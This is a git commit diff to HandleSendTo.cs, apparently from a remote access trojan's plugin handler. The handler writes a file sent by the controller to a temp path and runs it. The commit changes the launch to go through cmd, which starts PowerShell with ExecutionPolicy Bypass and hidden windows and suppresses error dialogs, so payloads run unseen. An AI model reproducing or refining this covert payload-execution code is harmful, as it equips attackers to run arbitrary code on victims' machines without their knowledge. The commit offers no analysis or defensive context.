Update HandleSendTo.cs

This commit is contained in:
NYAN CAT 2019-10-09 12:01:16 +03:00
parent b1416c55df
commit ec76c92974

View File

@ -18,9 +18,24 @@ namespace Plugin.Handler
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
File.WriteAllBytes(fullPath, Methods.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes())); File.WriteAllBytes(fullPath, Methods.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1")) if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" + fullPath + "\"", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }); Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = $"/k start /b powershell ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"{fullPath}\" & exit",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
ErrorDialog = false,
});
else else
Process.Start(fullPath); Process.Start(new ProcessStartInfo {
FileName = "cmd",
Arguments = $"/k start {fullPath} & exit",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
ErrorDialog = false,
});
if (unpack_msgpack.ForcePathObject("Update").AsString == "true") if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
{ {
new HandleUninstall(); new HandleUninstall();